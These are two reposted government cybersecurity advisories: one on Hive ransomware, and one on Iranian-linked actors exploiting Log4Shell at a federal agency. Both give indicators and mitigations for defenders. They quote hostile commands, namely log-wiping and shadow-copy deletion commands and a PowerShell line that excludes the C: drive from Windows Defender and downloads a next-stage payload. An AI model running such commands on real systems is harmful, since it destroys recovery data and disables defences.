This post was originally published on this site

Original release date: November 17, 2022

Summary

Actions to Take Today to Mitigate Cyber Threats from Ransomware:

• Prioritize remediating known exploited vulnerabilities.
• Enable and enforce multifactor authentication with strong passwords
• Close unused ports and remove any application not deemed necessary for day-to-day operations.

Note: This joint Cybersecurity Advisory (CSA) is part of an ongoing #StopRansomware effort to publish advisories for network defenders that detail various ransomware variants and ransomware threat actors. These #StopRansomware advisories include recently and historically observed tactics, techniques, and procedures (TTPs) and indicators of compromise (IOCs) to help organizations protect against ransomware. Visit stopransomware.gov to see all #StopRansomware advisories and to learn more about other ransomware threats and no-cost resources.

The Federal Bureau of Investigation (FBI), the Cybersecurity and Infrastructure Security Agency (CISA), and the Department of Health and Human Services (HHS) are releasing this joint CSA to disseminate known Hive IOCs and TTPs identified through FBI investigations as recently as November 2022.

FBI, CISA, and HHS encourage organizations to implement the recommendations in the Mitigations section of this CSA to reduce the likelihood and impact of ransomware incidents. Victims of ransomware operations should report the incident to their local FBI field office or CISA.

Download the PDF version of this report: pdf, 852.9 kb.

Technical Details

Note: This advisory uses the MITRE ATT&CK® for Enterprise framework, version 12. See MITRE ATT&CK for Enterprise for all referenced tactics and techniques.

As of November 2022, Hive ransomware actors have victimized over 1,300 companies worldwide, receiving approximately US$100 million in ransom payments, according to FBI information. Hive ransomware follows the ransomware-as-a-service (RaaS) model in which developers create, maintain, and update the malware, and affiliates conduct the ransomware attacks. From June 2021 through at least November 2022, threat actors have used Hive ransomware to target a wide range of businesses and critical infrastructure sectors, including Government Facilities, Communications, Critical Manufacturing, Information Technology, and especially Healthcare and Public Health (HPH).

The method of initial intrusion will depend on which affiliate targets the network. Hive actors have gained initial access to victim networks by using single factor logins via Remote Desktop Protocol (RDP), virtual private networks (VPNs), and other remote network connection protocols [T1133]. In some cases, Hive actors have bypassed multifactor authentication (MFA) and gained access to FortiOS servers by exploiting Common Vulnerabilities and Exposures (CVE) CVE-2020-12812. This vulnerability enables a malicious cyber actor to log in without a prompt for the user’s second authentication factor (FortiToken) when the actor changes the case of the username.

Hive actors have also gained initial access to victim networks by distributing phishing emails with malicious attachments [T1566.001] and by exploiting the following vulnerabilities against Microsoft Exchange servers [T1190]:

• CVE-2021-31207 – Microsoft Exchange Server Security Feature Bypass Vulnerability
• CVE-2021-34473 – Microsoft Exchange Server Remote Code Execution Vulnerability
• CVE-2021-34523 – Microsoft Exchange Server Privilege Escalation Vulnerability

After gaining access, Hive ransomware attempts to evade detention by executing processes to:

• Identify processes related to backups, antivirus/anti-spyware, and file copying and then terminating those processes to facilitate file encryption [T1562].
• Stop the volume shadow copy services and remove all existing shadow copies via vssadmin on command line or via PowerShell [T1059] [T1490].
• Delete Windows event logs, specifically the System, Security and Application logs [T1070].

Prior to encryption, Hive ransomware removes virus definitions and disables all portions of Windows Defender and other common antivirus programs in the system registry [T1112].

Hive actors exfiltrate data likely using a combination of Rclone and the cloud storage service Mega.nz [T1537]. In addition to its capabilities against the Microsoft Windows operating system, Hive ransomware has known variants for Linux, VMware ESXi, and FreeBSD.

During the encryption process, a file named *.key (previously *.key.*) is created in the root directory (C: or /root/). Required for decryption, this key file only exists on the machine where it was created and cannot be reproduced. The ransom note, HOW_TO_DECRYPT.txt is dropped into each affected directory and states the *.key file cannot be modified, renamed, or deleted, otherwise the encrypted files cannot be recovered [T1486]. The ransom note contains a “sales department” .onion link accessible through a TOR browser, enabling victim organizations to contact the actors through a live chat panel to discuss payment for their files. However, some victims reported receiving phone calls or emails from Hive actors directly to discuss payment.

The ransom note also threatens victims that a public disclosure or leak site accessible on the TOR site, “HiveLeaks”, contains data exfiltrated from victim organizations who do not pay the ransom demand (see figure 1 below). Additionally, Hive actors have used anonymous file sharing sites to disclose exfiltrated data (see table 1 below).

 

Table 1: Anonymous File Sharing Sites Used to Disclose Data

https://anonfiles[.]com

https://mega[.]nz

https://send.exploit[.]in

https://ufile[.]io

https://www.sendspace[.]com

https://privatlab[.]net

https://privatlab[.]com

 

Once the victim organization contacts Hive actors on the live chat panel, Hive actors communicate the ransom amount and the payment deadline. Hive actors negotiate ransom demands in U.S. dollars, with initial amounts ranging from several thousand to millions of dollars. Hive actors demand payment in Bitcoin.

Hive actors have been known to reinfect—with either Hive ransomware or another ransomware variant—the networks of victim organizations who have restored their network without making a ransom payment.

Indicators of Compromise

Threat actors have leveraged the following IOCs during Hive ransomware compromises. Note: Some of these indicators are legitimate applications that Hive threat actors used to aid in further malicious exploitation. FBI, CISA, and HHS recommend removing any application not deemed necessary for day-to-day operations. See tables 2–3 below for IOCs obtained from FBI threat response investigations as recently as November 2022.

Table 2: Known IOCs as of November 2022

Known IOCs – Files

HOW_TO_DECRYPT.txt typically in directories with encrypted files

*.key typically in the root directory, i.e., C: or /root

hive.bat

shadow.bat

asq.r77vh0[.]pw – Server hosted malicious HTA file

asq.d6shiiwz[.]pw – Server referenced in malicious regsvr32 execution

asq.swhw71un[.]pw – Server hosted malicious HTA file

asd.s7610rir[.]pw – Server hosted malicious HTA file

Windows_x64_encrypt.dll

Windows_x64_encrypt.exe

Windows_x32_encrypt.dll

Windows_x32_encrypt.exe

Linux_encrypt

Esxi_encrypt

Known IOCs – Events

System, Security and Application Windows event logs wiped

Microsoft Windows Defender AntiSpyware Protection disabled

Microsoft Windows Defender AntiVirus Protection disabled

Volume shadow copies deleted

Normal boot process prevented

Known IOCs – Logged Processes

wevtutil.exe cl system

wevtutil.exe cl security

wevtutil.exe cl application

vssadmin.exe delete shadows /all /quiet

wmic.exe SHADOWCOPY /nointeractive

wmic.exe shadowcopy delete

bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures

bcdedit.exe /set {default} recoveryenabled no

 

Table 3: Potential IOC IP Addresses as of November 2022

Note: Some of these observed IP addresses are more than a year old. FBI and CISA recommend vetting or investigating these IP addresses prior to taking forward-looking action like blocking.

Potential IOC IP Addresses for Compromise or Exfil:
84.32.188[.]57	84.32.188[.]238
93.115.26[.]251	185.8.105[.]67
181.231.81[.]239	185.8.105[.]112
186.111.136[.]37	192.53.123[.]202
158.69.36[.]149	46.166.161[.]123
108.62.118[.]190	46.166.161[.]93
185.247.71[.]106	46.166.162[.]125
5.61.37[.]207	46.166.162[.]96
185.8.105[.]103	46.166.169[.]34
5.199.162[.]220	93.115.25[.]139
5.199.162[.]229	93.115.27[.]148
89.147.109[.]208	83.97.20[.]81
5.61.37[.]207	5.199.162[.]220
5.199.162[.]229;	46.166.161[.]93
46.166.161[.]123;	46.166.162[.]96
46.166.162[.]125	46.166.169[.]34
83.97.20[.]81	84.32.188[.]238
84.32.188[.]57	89.147.109[.]208
93.115.25[.]139;	93.115.26[.]251
93.115.27[.]148	108.62.118[.]190
158.69.36[.]149/span>	181.231.81[.]239
185.8.105[.]67	185.8.105[.]103
185.8.105[.]112	185.247.71[.]106
186.111.136[.]37	192.53.123[.]202

 

MITRE ATT&CK TECHNIQUES

See table 4 for all referenced threat actor tactics and techniques listed in this advisory.

Table 4: Hive Actors ATT&CK Techniques for Enterprise

Initial Access
Technique Title	ID	Use
External Remote Services	T1133	Hive actors gain access to victim networks by using single factor logins via RDP, VPN, and other remote network connection protocols.
Exploit Public-Facing Application	T1190	Hive actors gain access to victim network by exploiting the following Microsoft Exchange vulnerabilities: CVE-2021-34473, CVE-2021-34523, CVE-2021-31207, CVE-2021-42321.
Phishing	T1566.001	Hive actors gain access to victim networks by distributing phishing emails with malicious attachments.
Execution
Technique Title	ID	Use
Command and Scripting Interpreter	T1059	Hive actors looks to stop the volume shadow copy services and remove all existing shadow copies via vssadmin on command line or PowerShell.
Defense Evasion
Technique Title	ID	Use
Indicator Removal on Host	T1070	Hive actors delete Windows event logs, specifically, the System, Security and Application logs.
Modify Registry	T1112	Hive actors set registry values for DisableAntiSpyware and DisableAntiVirus to 1.
Impair Defenses	T1562	Hive actors seek processes related to backups, antivirus/anti-spyware, and file copying and terminates those processes to facilitate file encryption.
Exfiltration
Technique Title	ID	Use
Transfer Data to Cloud Account	T1537	Hive actors exfiltrate data from victims, using a possible combination of Rclone and the cloud storage service Mega.nz.
Impact
Technique Title		Use
Data Encrypted for Impact	T1486	Hive actors deploy a ransom note HOW_TO_DECRYPT.txt into each affected directory which states the *.key file cannot be modified, renamed, or deleted, otherwise the encrypted files cannot be recovered.
Inhibit System Recovery	T1490	Hive actors looks to stop the volume shadow copy services and remove all existing shadow copies via vssadmin via command line or PowerShell.

Mitigations

FBI, CISA, and HHS recommend organizations, particularly in the HPH sector, implement the following to limit potential adversarial use of common system and network discovery techniques and to reduce the risk of compromise by Hive ransomware:

• Verify Hive actors no longer have access to the network.
• Install updates for operating systems, software, and firmware as soon as they are released. Prioritize patching VPN servers, remote access software, virtual machine software, and known exploited vulnerabilities. Consider leveraging a centralized patch management system to automate and expedite the process.
• Require phishing-resistant MFA for as many services as possible—particularly for webmail, VPNs, accounts that access critical systems, and privileged accounts that manage backups.
• If used, secure and monitor RDP.
  • Limit access to resources over internal networks, especially by restricting RDP and using virtual desktop infrastructure.
  • After assessing risks, if you deem RDP operationally necessary, restrict the originating sources and require MFA to mitigate credential theft and reuse.
  • If RDP must be available externally, use a VPN, virtual desktop infrastructure, or other means to authenticate and secure the connection before allowing RDP to connect to internal devices.
  • Monitor remote access/RDP logs, enforce account lockouts after a specified number of attempts to block brute force campaigns, log RDP login attempts, and disable unused remote access/RDP ports.
  • Be sure to properly configure devices and enable security features.
  • Disable ports and protocols not used for business purposes, such as RDP Port 3389/TCP.
• Maintain offline backups of data, and regularly maintain backup and restoration. By instituting this practice, the organization ensures they will not be severely interrupted, and/or only have irretrievable data.
• Ensure all backup data is encrypted, immutable (i.e., cannot be altered or deleted), and covers the entire organization’s data infrastructure. Ensure your backup data is not already infected.,
• Monitor cyber threat reporting regarding the publication of compromised VPN login credentials and change passwords/settings if applicable.
• Install and regularly update anti-virus or anti-malware software on all hosts.
• Enable PowerShell Logging including module logging, script block logging and transcription.
• Install an enhanced monitoring tool such as Sysmon from Microsoft for increased logging.
• Review the following additional resources.
  • The joint advisory from Australia, Canada, New Zealand, the United Kingdom, and the United States on Technical Approaches to Uncovering and Remediating Malicious Activity provides additional guidance when hunting or investigating a network and common mistakes to avoid in incident handling.
  • The Cybersecurity and Infrastructure Security Agency-Multi-State Information Sharing & Analysis Center Joint Ransomware Guide covers additional best practices and ways to prevent, protect, and respond to a ransomware attack.
  • StopRansomware.gov is the U.S. Government’s official one-stop location for resources to tackle ransomware more effectively.

If your organization is impacted by a ransomware incident, FBI, CISA, and HHS recommend the following actions.

• Isolate the infected system. Remove the infected system from all networks, and disable the computer’s wireless, Bluetooth, and any other potential networking capabilities. Ensure all shared and networked drives are disconnected.
• Turn off other computers and devices. Power-off and segregate (i.e., remove from the network) the infected computer(s). Power-off and segregate any other computers or devices that share a network with the infected computer(s) that have not been fully encrypted by ransomware. If possible, collect and secure all infected and potentially infected computers and devices in a central location, making sure to clearly label any computers that have been encrypted. Powering-off and segregating infected computers and computers that have not been fully encrypted may allow for the recovery of partially encrypted files by specialists.
• Secure your backups. Ensure that your backup data is offline and secure. If possible, scan your backup data with an antivirus program to check that it is free of malware.

In addition, FBI, CISA, and HHS urge all organizations to apply the following recommendations to prepare for, mitigate/prevent, and respond to ransomware incidents.

Preparing for Cyber Incidents

• Review the security posture of third-party vendors and those interconnected with your organization. Ensure all connections between third-party vendors and outside software or hardware are monitored and reviewed for suspicious activity.
• Implement listing policies for applications and remote access that only allow systems to execute known and permitted programs under an established security policy.
• Document and monitor external remote connections. Organizations should document approved solutions for remote management and maintenance, and immediately investigate if an unapproved solution is installed on a workstation.
• Implement a recovery plan to maintain and retain multiple copies of sensitive or proprietary data and servers in a physically separate, segmented, and secure location (i.e., hard drive, storage device, the cloud).

Identity and Access Management

• Require all accounts with password logins (e.g., service account, admin accounts, and domain admin accounts) to comply with National Institute of Standards and Technology (NIST) standards for developing and managing password policies.
  • Use longer passwords consisting of at least 8 characters and no more than 64 characters in length.
  • Store passwords in hashed format using industry-recognized password managers.
  • Add password user “salts” to shared login credentials.
  • Avoid reusing passwords.
  • Implement multiple failed login attempt account lockouts.
  • Disable password “hints.”
  • Refrain from requiring password changes more frequently than once per year unless a password is known or suspected to be compromised.
    Note: NIST guidance suggests favoring longer passwords instead of requiring regular and frequent password resets. Frequent password resets are more likely to result in users developing password “patterns” cyber criminals can easily decipher.
  • Require administrator credentials to install software.
• Require phishing-resistant multifactor authentication for all services to the extent possible, particularly for webmail, virtual private networks, and accounts that access critical systems.
• Review domain controllers, servers, workstations, and active directories for new and/or unrecognized accounts.
• Audit user accounts with administrative privileges and configure access controls according to the principle of least privilege.
• Implement time-based access for accounts set at the admin level and higher. For example, the Just-in-Time (JIT) access method provisions privileged access when needed and can support enforcement of the principle of least privilege (as well as the Zero Trust model). This is a process where a network-wide policy is set in place to automatically disable admin accounts at the Active Directory level when the account is not in direct need. Individual users may submit their requests through an automated process that grants them access to a specified system for a set timeframe when they need to support the completion of a certain task. 

Protective Controls and Architecture

• Segment networks to prevent the spread of ransomware. Network segmentation can help prevent the spread of ransomware by controlling traffic flows between—and access to—various subnetworks and by restricting adversary lateral movement.
• Identify, detect, and investigate abnormal activity and potential traversal of the indicated ransomware with a networking monitoring tool. To aid in detecting the ransomware, implement a tool that logs and reports all network traffic, including lateral movement activity on a network. Endpoint detection and response (EDR) tools are particularly useful for detecting lateral connections as they have insight into common and uncommon network connections for each host.
• Install, regularly update, and enable real time detection for antivirus software on all hosts.

Vulnerability and Configuration Management

• Consider adding an email banner to emails received from outside your organization.
• Disable command-line and scripting activities and permissions. Privilege escalation and lateral movement often depend on software utilities running from the command line. If threat actors are not able to run these tools, they will have difficulty escalating privileges and/or moving laterally.
• Ensure devices are properly configured and that security features are enabled. 
• Restrict Server Message Block (SMB) Protocol within the network to only access necessary servers and remove or disable outdated versions of SMB (i.e., SMB version 1). Threat actors use SMB to propagate malware across organizations.

REFERENCES

• Stopransomware.gov is a whole-of-government approach that gives one central location for ransomware resources and alerts.
• Resource to mitigate a ransomware attack: CISA-Multi-State Information Sharing and Analysis Center (MS-ISAC) Joint Ransomware Guide.
• No-cost cyber hygiene services: Cyber Hygiene Services and Ransomware Readiness Assessment.

INFORMATION REQUESTED

The FBI, CISA, and HHS do not encourage paying a ransom to criminal actors. Paying a ransom may embolden adversaries to target additional organizations, encourage other criminal actors to engage in the distribution of ransomware, and/or fund illicit activities. Paying the ransom also does not guarantee that a victim’s files will be recovered. However, the FBI, CISA, and HHS understand that when businesses are faced with an inability to function, executives will evaluate all options to protect their shareholders, employees, and customers. Regardless of whether you or your organization decide to pay the ransom, the FBI, CISA, and HHS urge you to promptly report ransomware incidents to your local FBI field office, or to CISA at report@cisa.gov or (888) 282-0870. Doing so provides investigators with the critical information they need to track ransomware attackers, hold them accountable under US law, and prevent future attacks. 

The FBI may seek the following information that you determine you can legally share, including:

• Recovered executable files
• Live random access memory (RAM) capture
• Images of infected systems
• Malware samples
• IP addresses identified as malicious or suspicious
• Email addresses of the attackers
• A copy of the ransom note
• Ransom amount
• Bitcoin wallets used by the attackers
• Bitcoin wallets used to pay the ransom
• Post-incident forensic reports

DISCLAIMER

The information in this report is being provided “as is” for informational purposes only. FBI, CISA, and HHS do not endorse any commercial product or service, including any subjects of analysis. Any reference to specific commercial products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by FBI, CISA, or HHS.

 

Revisions

• Initial Version: November 17, 2022

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This post was originally published on this site

Original release date: November 16, 2022

Summary

From mid-June through mid-July 2022, CISA conducted an incident response engagement at a Federal Civilian Executive Branch (FCEB) organization where CISA observed suspected advanced persistent threat (APT) activity. In the course of incident response activities, CISA determined that cyber threat actors exploited the Log4Shell vulnerability in an unpatched VMware Horizon server, installed XMRig crypto mining software, moved laterally to the domain controller (DC), compromised credentials, and then implanted Ngrok reverse proxies on several hosts to maintain persistence. CISA and the Federal Bureau of Investigation (FBI) assess that the FCEB network was compromised by Iranian government-sponsored APT actors.

CISA and FBI are releasing this Cybersecurity Advisory (CSA) providing the suspected Iranian government-sponsored actors’ tactics, techniques, and procedures (TTPs) and indicators of compromise (IOCs) to help network defenders detect and protect against related compromises.

CISA and FBI encourage all organizations with affected VMware systems that did not immediately apply available patches or workarounds to assume compromise and initiate threat hunting activities. If suspected initial access or compromise is detected based on IOCs or TTPs described in this CSA, CISA and FBI encourage organizations to assume lateral movement by threat actors, investigate connected systems (including the DC), and audit privileged accounts. All organizations, regardless of identified evidence of compromise, should apply the recommendations in the Mitigations section of this CSA to protect against similar malicious cyber activity.

For more information on Iranian government-sponsored Iranian malicious cyber activity, see CISA’s Iran Cyber Threat Overview and Advisories webpage and FBI’s Iran Threats webpage.

Download the PDF version of this report: pdf, 528 kb.

For a downloadable copy of the Malware Analysis Report (MAR) accompanying this report, see: MAR 10387061-1.v1.

Technical Details

Note: This advisory uses the MITRE ATT&CK for Enterprise framework, version 11. See the MITRE ATT&CK Tactics and Techniques section for a table of the threat actors’ activity mapped to MITRE ATT&CK® tactics and techniques with corresponding mitigation and/or detection recommendations.

Overview

In April 2022, CISA conducted retrospective analysis using EINSTEIN—an FCEB-wide intrusion detection system (IDS) operated and monitored by CISA—and identified suspected APT activity on an FCEB organization’s network. CISA observed bi-directional traffic between the network and a known malicious IP address associated with exploitation of the Log4Shell vulnerability (CVE-2021-44228) in VMware Horizon servers. In coordination with the FCEB organization, CISA initiated threat hunting incident response activities; however, prior to deploying an incident response team, CISA observed additional suspected APT activity. Specifically, CISA observed HTTPS activity from IP address 51.89.181[.]64 to the organization’s VMware server. Based on trusted third-party reporting, 51.89.181[.]64 is a Lightweight Directory Access Protocol (LDAP) server associated with threat actors exploiting Log4Shell. Following HTTPS activity, CISA observed a suspected LDAP callback on port 443 to this IP address. CISA also observed a DNS query for us‐nation‐ny[.]cf that resolved back to 51.89.181[.]64 when the victim server was returning this Log4Shell LDAP callback to the actors’ server.

CISA assessed that this traffic indicated a confirmed compromise based on the successful callback to the indicator and informed the organization of these findings; the organization investigated the activity and found signs of compromise. As trusted-third party reporting associated Log4Shell activity from 51.89.181[.]64 with lateral movement and targeting of DCs, CISA suspected the threat actors had moved laterally and compromised the organization’s DC.

From mid-June through mid-July 2022, CISA conducted an onsite incident response engagement and determined that the organization was compromised as early as February 2022, by likely Iranian government-sponsored APT actors who installed XMRig crypto mining software. The threat actors also moved laterally to the domain controller, compromised credentials, and implanted Ngrok reverse proxies.

Threat Actor Activity

In February 2022, the threat actors exploited Log4Shell [T1190] for initial access [TA0001] to the organization’s unpatched VMware Horizon server. As part of their initial exploitation, CISA observed a connection to known malicious IP address 182.54.217[.]2 lasting 17.6 seconds.

The actors’ exploit payload ran the following PowerShell command [T1059.001] that added an exclusion tool to Windows Defender [T1562.001]:

powershell try{Add-MpPreference -ExclusionPath ‘C:’; Write-Host ‘added-exclusion’} catch {Write-Host ‘adding-exclusion-failed’ }; powershell -enc “$BASE64 encoded payload to download next stage and execute it”

The exclusion tool allowlisted the entire c:drive, enabling threat actors to download tools to the c:drive without virus scans. The exploit payload then downloaded mdeploy.text from 182.54.217[.]2/mdepoy.txt to C:userspublicmde.ps1 [T1105]. When executed, mde.ps1 downloaded file.zip from 182.54.217[.]2 and removed mde.ps1 from the disk [T1070.004].

file.zip contained XMRig cryptocurrency mining software and associated configuration files.

• WinRing0x64.sys – XMRig Miner driver
• wuacltservice.exe – XMRig Miner
• config.json – XMRig miner configuration
• RuntimeBroker.exe – Associated file. This file can create a local user account [T1136.001] and tests for internet connectivity by pinging 8.8.8.8 [T1016.001]. The exploit payload created a Scheduled Task [T1053.005] that executed RuntimeBroker.exe daily as SYSTEM. Note: By exploiting Log4Shell, the actors gained access to a VMware service account with administrator and system level access. The Scheduled Task was named RuntimeBrokerService.exe to masquerade as a legitimate Windows task.

See MAR 10387061-1.v1 for additional information, including IOCs, on these four files.

After obtaining initial access and installing XMRig on the VMWare Horizon server, the actors used RDP [T1021.001] and the built-in Windows user account DefaultAccount [T1078.001] to move laterally [TA0008] to a VMware VDI-KMS host. Once the threat actor established themselves on the VDI-KMS host, CISA observed the actors download around 30 megabytes of files from transfer[.]sh server associated with 144.76.136[.]153. The actors downloaded the following tools:

• PsExec – a Microsoft signed tool for system administrators.
• Mimikatz – a credential theft tool.
• Ngrok – a reverse proxy tool for proxying an internal service out onto an Ngrok domain, which the user can then access at a randomly generated subdomain at *.ngrok[.]io. CISA has observed this tool in use by some commercial products for benign purposes; however, this process bypasses typical firewall controls and may be a potentially unwanted application in production environments. Ngrok is known to be used for malicious purposes.[1]

The threat actors then executed Mimikatz on VDI-KMS to harvest credentials and created a rogue domain administrator account [T1136.002]. Using the newly created account, the actors leveraged RDP to propagate to several hosts within the network. Upon logging into each host, the actors manually disabled Windows Defender via the Graphical User Interface (GUI) and implanted Ngrok executables and configuration files. The threat actors were able to implant Ngrok on multiple hosts to ensure Ngrok’s persistence should they lose access to a machine during a routine reboot. The actors were able to proxy [T1090] RDP sessions, which were only observable on the local network as outgoing HTTPS port 443 connections to tunnel.us.ngrok[.]com and korgn.su.lennut[.]com (the prior domain in reverse). It is possible, but was not observed, that the threat actors configured a custom domain, or used other Ngrok tunnel domains, wildcarded here as *.ngrok[.]com, *.ngrok[.]io, ngrok.*.tunnel[.]com, or korgn.*.lennut[.]com.

Once the threat actors established a deep foothold in the network and moved laterally to the domain controller, they executed the following PowerShell command on the Active Directory to obtain a list of all machines attached to the domain [T1018]:

Powershell.exe get-adcomputer -filter * -properties * | select name,operatingsystem,ipv4address >

The threat actors also changed the password for the local administrator account [T1098] on several hosts as a backup should the rogue domain administrator account get detected and terminated. Additionally, the threat actor was observed attempting to dump the Local Security Authority Subsystem Service (LSASS) process [T1003.001] with task manager but this was stopped by additional anti-virus the FCEB organization had installed.

MITRE ATT&CK TACTICS AND TECHNIQUES

See table 1 for all referenced threat actor tactics and techniques in this advisory, as well as corresponding detection and/or mitigation recommendations. For additional mitigations, see the Mitigations section.

Table 1: Cyber Threat Actors ATT&CK Techniques for Enterprise

Initial Access
Technique Title	ID	Use	Recommendations
Exploit Public-Facing Application	T1190	The actors exploited Log4Shell for initial access to the organization’s VMware Horizon server.	Mitigation/Detection: Use a firewall or web-application firewall and enable logging to prevent and detect potential Log4Shell exploitation attempts [M1050]. Mitigation: Perform regular vulnerability scanning to detect Log4J vulnerabilities and update Log4J software using vendor provided patches [M1016],[M1051].
Execution
Technique Title	ID	Use	Recommendation
Command and Scripting Interpreter: PowerShell	T1059.001	The actors ran PowerShell commands that added an exclusion tool to Windows Defender. The actors executed PowerShell on the AD to obtain a list of machines on the domain.	Mitigation: Disable or remove PowerShell for non-administrative users [M1042],[M1026] or enable code-signing to execute only signed scripts [M1045]. Mitigation: Employ anti-malware to automatically detect and quarantine malicious scripts [M1049].
Persistence
Technique Title	ID	Use	Recommendations
Account Manipulation	T1098	The actors changed the password for the local administrator account on several hosts.	Mitigation: Use multifactor authentication for user and privileged accounts [M1032]. Detection: Monitor events for changes to account objects and/or permissions on systems and the domain, such as event IDs 4738, 4728, and 4670. Monitor for modification of accounts in correlation with other suspicious activity [DS0002].
Create Account: Local Account	T1136.001	The actors’ malware can create local user accounts.	Mitigation: Configure access controls and firewalls to limit access to domain controllers and systems used to create and manage accounts. Detection: Monitor executed commands and arguments for actions that are associated with local account creation, such as net user /add , useradd, and dscl -create [DS0017]. Detection: Enable logging for new user creation [DS0002].
Create Account: Domain Account	T1136.002	The actors used Mimikatz to create a rogue domain administrator account.	Mitigation: Configure access controls and firewalls to limit access to domain controllers and systems used to create and manage accounts. Detection: Enable logging for new user creation, especially domain administrator accounts [DS0002].
Scheduled Task/Job: Scheduled Task	T1053.005	The actors’ exploit payload created Scheduled Task RuntimeBrokerService.exe, which executed RuntimeBroker.exe daily as SYSTEM.	Mitigation: Configure settings for scheduled tasks to force tasks to run under the context of the authenticated account instead of allowing them to run as SYSTEM [M1028]. Detection: Monitor for newly constructed processes and/or command-lines that execute from the svchost.exe in Windows 10 and the Windows Task Scheduler taskeng.exe for older versions of Windows [DS0009] Detection: Monitor for newly constructed scheduled jobs by enabling the Microsoft-Windows-TaskScheduler/Operational setting within the event logging service [DS0003].
Valid Accounts: Default Accounts	T1078.001	The actors used built-in Windows user account DefaultAccount.	Mitigation: Change default usernames and passwords immediately after the installation and before deployment to a production environment [M1027]. Detection: Develop rules to monitor logon behavior across default accounts that have been activated or logged into [DS0028].
Defense Evasion
Technique Title	ID	Use	Recommendations
Impair Defenses: Disable or Modify Tools	T1562.001	The actors added an exclusion tool to Windows Defender. The tool allowlisted the entire c:drive, enabling the actors to bypass virus scans for tools they downloaded to the c:drive. The actors manually disabled Windows Defender via the GUI.	Mitigation: Ensure proper user permissions are in place to prevent adversaries from disabling or interfering with security services. [M1018]. Detection: Monitor for changes made to Windows Registry keys and/or values related to services and startup programs that correspond to security tools such as HKLM:SOFTWAREPoliciesMicrosoftWindows Defender [DS0024]. Detection: Monitor for telemetry that provides context for modification or deletion of information related to security software processes or services such as Windows Defender definition files in Windows and System log files in Linux [DS0013]. Detection: Monitor processes for unexpected termination related to security tools/services [DS0009].
Indicator Removal on Host: File Deletion	T1070.004	The actors removed malicious file mde.ps1 from the dis.	Detection: Monitor executed commands and arguments for actions that could be utilized to unlink, rename, or delete files [DS0017]. Detection: Monitor for unexpected deletion of files from the system [DS0022].
Credential Access
Technique Title	ID	Use	Recommendations
OS Credential Dumping: LSASS Memory	T1003.001	The actors were observed trying to dump LSASS process.	Mitigation: With Windows 10, Microsoft implemented new protections called Credential Guard to protect the LSA secrets that can be used to obtain credentials through forms of credential dumping [M1043] Mitigation: On Windows 10, enable Attack Surface Reduction (ASR) rules to secure LSASS and prevent credential stealing [M1040]. Mitigation: Ensure that local administrator accounts have complex, unique passwords across all systems on the network [M1027]. Detection: Monitor for unexpected processes interacting with LSASS.exe. Common credential dumpers such as Mimikatz access LSASS.exe by opening the process, locating the LSA secrets key, and decrypting the sections in memory where credential details are stored. [DS0009]. Detection: Monitor executed commands and arguments that may attempt to access credential material stored in the process memory of the LSASS [DS0017].
Credentials from Password Stores	T1555	The actors used Mimikatz to harvest credentials.	Mitigation: Organizations may consider weighing the risk of storing credentials in password stores and web browsers. If system, software, or web browser credential disclosure is a significant concern, technical controls, policy, and user training may be used to prevent storage of credentials in improper locations [M1027]. Detection: Monitor for processes being accessed that may search for common password storage locations to obtain user credentials [DS0009]. Detection: Monitor executed commands and arguments that may search for common password storage locations to obtain user credentials [DS0017].
Discovery
Technique Title	ID	Use	Recommendations
Remote System Discovery	T1018	The actors executed a PowerShell command on the AD to obtain a list of all machines attached to the domain.	Detection: Monitor executed commands and arguments that may attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for lateral movement [DS0017]. Detection: Monitor for newly constructed network connections associated with pings/scans that may attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for lateral movement [DS0029]. Detection: Monitor for newly executed processes that can be used to discover remote systems, such as ping.exe and tracert.exe, especially when executed in quick succession [DS0009].
System Network Configuration Discovery: Internet Connection Discovery	T1016.001	The actors’ malware tests for internet connectivity by pinging 8.8.8.8.	Mitigation: Monitor executed commands, arguments [DS0017] and executed processes (e.g., tracert or ping) [DS0009] that may check for internet connectivity on compromised systems.
Lateral Movement
Technique Title	ID	Use	Recommendations
Remote Services: Remote Desktop Protocol	T1021.001	The actors used RDP to move laterally to multiple hosts on the network.	Mitigation: Use MFA for remote logins [M1032]. Mitigation: Disable the RDP service if it is unnecessary [M1042]. Mitigation: Do not leave RDP accessible from the internet. Enable firewall rules to block RDP traffic between network security zones within a network [M1030]. Mitigation: Consider removing the local Administrators group from the list of groups allowed to log in through RDP [M1026]. Detection: Monitor for user accounts logged into systems associated with RDP (ex: Windows EID 4624 Logon Type 10). Other factors, such as access patterns (ex: multiple systems over a relatively short period of time) and activity that occurs after a remote login, may indicate suspicious or malicious behavior with RDP [DS0028].
Command and Control
Technique Title	ID	Use	Recommendations
Proxy	T1090	The actors used Ngrok to proxy RDP connections and to perform command and control.	Mitigation: Traffic to known anonymity networks and C2 infrastructure can be blocked through the use of network allow and block lists [M1037]. Detection: Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g., extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure) [DS0029].
Ingress Tool Transfer	T1105	The actors downloaded malware and multiple tools to the network, including PsExec, Mimikatz, and Ngrok.	Mitigation: Employ anti-malware to automatically detect and quarantine malicious scripts [M1049].

 

INCIDENT RESPONSE

If suspected initial access or compromise is detected based on IOCs or TTPs in this CSA, CISA encourages organizations to assume lateral movement by threat actors and investigate connected systems and the DC.

CISA recommends organizations apply the following steps before applying any mitigations, including patching.

1. Immediately isolate affected systems.
2. Collect and review relevant logs, data, and artifacts. Take a memory capture of the device(s) and a forensic image capture for detailed analysis.
3. Consider soliciting support from a third-party incident response organization that can provide subject matter expertise to ensure the actor is eradicated from the network and to avoid residual issues that could enable follow-on exploitation.
4. Report incidents to CISA via CISA’s 24/7 Operations Center (report@cisa.gov or 888-282-0870) or your local FBI field office, or FBI’s 24/7 Cyber Watch (CyWatch) at (855) 292-3937 or by e-mail at CyWatch@fbi.gov.
    

Mitigations

CISA and FBI recommend implementing the mitigations below and in Table 1 to improve your organization’s cybersecurity posture on the basis of threat actor behaviors.

• Install updated builds to ensure affected VMware Horizon and UAG systems are updated to the latest version.
  • If updates or workarounds were not promptly applied following VMware’s release of updates for Log4Shell in December 2021, treat those VMware Horizon systems as compromised. Follow the pro-active incident response procedures outlined above prior to applying updates. If no compromise is detected, apply these updates as soon as possible.
